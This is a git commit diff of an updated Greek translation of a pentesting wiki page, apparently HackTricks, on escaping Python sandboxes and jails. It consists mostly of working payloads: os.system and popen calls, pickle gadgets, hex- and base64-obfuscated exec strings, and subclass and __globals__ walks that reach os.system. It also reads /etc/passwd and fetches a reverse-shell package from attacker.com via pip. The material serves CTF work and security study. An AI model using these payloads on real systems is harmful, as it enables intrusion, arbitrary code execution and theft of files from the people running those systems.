Translated ['src/network-services-pentesting/pentesting-web/django.md',

This commit is contained in:
Translator 2025-08-28 10:28:38 +00:00
parent 62982872bd
commit b928f792e4
4 changed files with 229 additions and 127 deletions

View File

@ -70,6 +70,7 @@
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)

View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
Αυτά είναι μερικά κόλπα για να παρακάμψετε τις προστασίες του python sandbox και να εκτελέσετε αυθαίρετες εντολές.
Αυτά είναι μερικά κόλπα για να bypass την προστασία sandbox του python και να εκτελέσετε αυθαίρετες εντολές.
## Command Execution Libraries
## Βιβλιοθήκες Εκτέλεσης Εντολών
Το πρώτο πράγμα που πρέπει να ξέρετε είναι αν μπορείτε να εκτελέσετε άμεσα κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
Το πρώτο πράγμα που πρέπει να ξέρετε είναι αν μπορείτε να εκτελέσετε απευθείας κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στο python sandbox και να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** το sandbox.
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να διαβάσετε αρχεία μέσα στο python sandbox και να γράψετε κάποιον κώδικα που θα μπορούσατε να εκτελέσετε για να bypass το sandbox.
> [!CAUTION] > Η συνάρτηση **input()** του Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει.
> [!CAUTION] > Η **Python2 input()** function επιτρέπει την εκτέλεση python code πριν το πρόγραμμα καταρρεύσει.
Ο Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει ο python τα modules): `python3 -c 'import sys; print(sys.path)'`
Η Python προσπαθεί να **load libraries from the current directory first** (η ακόλουθη εντολή θα εκτυπώσει από πού φορτώνει modules η python): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Παράκαμψη του pickle sandbox με τα προεγκατεστημένα πακέτα python
## Bypass pickle sandbox with the default installed python packages
### Προεγκατεστημένα πακέτα
### Προεγκατεστημένα packages
Μπορείτε να βρείτε μια **λίστα με τα προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον python να **εισάγει αυθαίρετες βιβλιοθήκες** που είναι εγκατεστημένες στο σύστημα.\
Για παράδειγμα, το παρακάτω pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
Μπορείτε να βρείτε μια **λίστα με προεγκατεστημένα** packages εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το python env **import arbitrary libraries** εγκατεστημένες στο σύστημα.\
Για παράδειγμα, το ακόλουθο pickle, όταν φορτωθεί, πρόκειται να εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί το pickle, ελέγξτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Για περισσότερες πληροφορίες σχετικά με τον τρόπο που λειτουργεί pickle δείτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Πακέτο Pip
Τέχνασμα που μοιράστηκε ο **@isHaacK**
Κόλπο από **@isHaacK**
Εάν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
Αν έχετε πρόσβαση σε `pip` ή `pip.main()` μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε reverse shell καλώντας:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει να **αποσυμπιέσετε, να αλλάξετε το `setup.py` και να βάλετε τη διεύθυνση IP σας για το reverse shell**:
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ σημειώστε ότι πριν το χρησιμοποιήσετε πρέπει να **αποσυμπιέσετε το, να αλλάξετε το `setup.py`, και να βάλετε την IP σας για το reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά ώστε όταν βγείτε από το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε.
> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει φτιαχτεί ειδικά ώστε όταν βγείτε από το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, οπότε **δεν θα αφήσετε κανένα επιπλέον python package εγκατεστημένο στον server** όταν φύγετε.
## Eval-ing python code
> [!WARNING]
> Σημειώστε ότι το exec επιτρέπει πολυγραμμικά strings και ";", αλλά το eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus)
> Σημειώστε ότι exec επιτρέπει multiline strings και ";", αλλά eval όχι (ελέγξτε walrus operator)
Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
Εάν κάποιοι χαρακτήρες απαγορεύονται μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Άλλες βιβλιοθήκες που επιτρέπουν την εκτέλεση κώδικα python
### Άλλες βιβλιοθήκες που επιτρέπουν το eval python code
```python
#Pandas
import pandas as pd
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## Τελεστές και σύντομα κόλπα
Δείτε επίσης μια πραγματική διαφυγή από sandboxed evaluator σε PDF generators:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Εκμεταλλεύεται το rl_safe_eval για να φτάσει το function.__globals__ και το os.system από evaluated attributes (για παράδειγμα, font color) και επιστρέφει μια έγκυρη τιμή ώστε η απόδοση να παραμείνει σωστή.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## Τελεστές και μικρά κόλπα
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -137,7 +145,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7)
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 is used to load and execute arbitrary python code inside an apparent sandbox:
Στο [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 χρησιμοποιείται για να φορτώσει και να εκτελέσει αυθαίρετο python κώδικα μέσα σε ένα εμφανές sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -148,11 +156,11 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
Επιπλέον είναι δυνατόν να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
## Εκτέλεση Python χωρίς κλήσεις
## Python εκτέλεση χωρίς κλήσεις
Αν βρίσκεστε μέσα σε μια python φυλακή που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**.
Αν βρίσκεστε μέσα σε ένα python jail που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα τρόποι να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**.
### RCE με [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -176,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE δημιουργία αντικειμένων και υπερφόρτωση
### RCE creating objects and overloading
Αν μπορείτε να **δηλώσετε μια κλάση** και να **δημιουργήσετε ένα αντικείμενο** αυτής της κλάσης, θα μπορούσατε να **γράψετε/υπεργράψετε διάφορες μεθόδους** που μπορούν να **ενεργοποιηθούν** **χωρίς** **να χρειάζεται να τις καλέσετε άμεσα**.
Αν μπορείτε να **declare a class** και να **create an object** αυτής της class, μπορείτε να **write/overwrite different methods** που μπορούν να **triggered** χωρίς να χρειάζεται να τα καλέσετε απευθείας.
#### RCE με προσαρμοσμένες κλάσεις
#### RCE με custom classes
Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση_) ώστε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να τις καλείτε άμεσα.
Μπορείτε να τροποποιήσετε μερικά **class methods** (_by overwriting existing class methods or creating a new class_) ώστε να τα κάνετε να **execute arbitrary code** όταν **triggered** χωρίς να τα καλέσετε απευθείας.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses)
#### Δημιουργία αντικειμένων με [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την στοχευόμενη κλάση ως μετακλάση.
Το κύριο που μας επιτρέπουν τα metaclasses είναι να **δημιουργήσουμε ένα αντικείμενο από μια κλάση, χωρίς να καλούμε απευθείας τον constructor**, δημιουργώντας μια νέα κλάση με την target class ως metaclass.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -249,9 +257,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Δημιουργία αντικειμένων με εξαιρέσεις
#### Δημιουργία αντικειμένων με exceptions
Όταν μια **εξαίρεση ενεργοποιείται**, ένα αντικείμενο της **Exception** είναι **δημιουργημένο** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Όταν μια **exception ενεργοποιείται**, ένα αντικείμενο της **Exception** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε τον constructor απευθείας (ένα trick από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -293,7 +301,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Διαβάστε το αρχείο με βοήθεια και άδεια από τα builtins
### Ανάγνωση αρχείου με builtins help & license
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -307,17 +315,17 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Αν μπορείτε να έχετε πρόσβαση στο **`__builtins__`** αντικείμενο μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
Εάν μπορείτε να έχετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ άλλες αναπαραστάσεις συμβολοσειράς που εμφανίζονται στην τελευταία ενότητα):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\
Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**.
Όταν δεν έχεις `__builtins__` δεν θα μπορείς να εισάγεις τίποτα ούτε καν να διαβάσεις ή να γράψεις αρχεία καθώς **όλες οι global συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν έχουν φορτωθεί**.\
Ωστόσο, **από προεπιλογή η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά κάποια από αυτά **επίσης εισάγουν επικίνδυνες** λειτουργίες στο εσωτερικό τους που μπορούν να προσπελαστούν για να επιτευχθεί ακόμη και **arbitrary code execution**.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που έχουν φορτωθεί για να **προσπελάσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.
Στα ακόλουθα παραδείγματα μπορείτε να δείτε πώς να **κακοχρησιμοποιήσετε** κάποια από αυτά τα «**αθώα**» modules που έχουν φορτωθεί, για να **προσπελάσετε** **επικίνδυνες** **λειτουργικότητες** μέσα σε αυτά.
**Python2**
```python
@ -359,15 +367,15 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **θέσεις** όπου μπορείτε να βρείτε τα **builtins**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **τόπους** όπου μπορείτε να βρείτε τα **builtins**.
#### Python2 και Python3
#### Python2 and Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Ενσωματωμένα payloads
### Builtins payloads
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -377,7 +385,7 @@ __builtins__["__import__"]("os").system("ls")
```
## Globals and locals
Έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να ξέρετε τι μπορείτε να έχετε πρόσβαση.
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να μάθετε τι μπορείτε να προσπελάσετε.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -401,15 +409,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **θέσεις** όπου μπορείτε να βρείτε τα **globals**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
## Ανακάλυψη Αυθαίρετης Εκτέλεσης
## Discover Arbitrary Execution
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που φορτώνονται** και να προτείνω πιο αξιόπιστους εκμεταλλευτές.
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **περισσότερες επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστα exploits.
#### Πρόσβαση σε υποκλάσεις με παρακάμψεις
#### Accessing subclasses with bypasses
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα **πρόσβασης στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα να **access the base subclasses**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -437,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί
### Εύρεση επικίνδυνων libraries που έχουν φορτωθεί
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **εισαγάγετε αυθαίρετες βιβλιοθήκες**, μπορείτε να αναζητήσετε όλα τα **modules που έχουν φορτωθεί και περιέχουν την εισαγωγή του sys μέσα τους**:
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **import arbitrary libraries**, μπορείτε να αναζητήσετε όλα τα **modules loaded that have imported sys inside of them**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Υπάρχουν πολλοί, και **χρειαζόμαστε μόνο έναν** για να εκτελέσουμε εντολές:
Υπάρχουν πολλά, και **χρειαζόμαστε μόνο ένα** για να εκτελέσουμε εντολές:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Μπορούμε να κάνουμε το ίδιο πράγμα με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για **εκτέλεση εντολών**:
Μπορούμε να κάνουμε το ίδιο με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για **execute commands**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -483,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Επιπλέον, θα μπορούσαμε ακόμη να αναζητήσουμε ποια modules φορτώνουν κακόβουλες βιβλιοθήκες:
Επιπλέον, μπορούμε ακόμη και να αναζητήσουμε ποια modules φορτώνουν κακόβουλες libraries:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Επιπλέον, αν νομίζετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε κατά ονόματα συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
Επιπλέον, αν νομίζετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **επικαλούνται συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα των συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -535,10 +543,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, 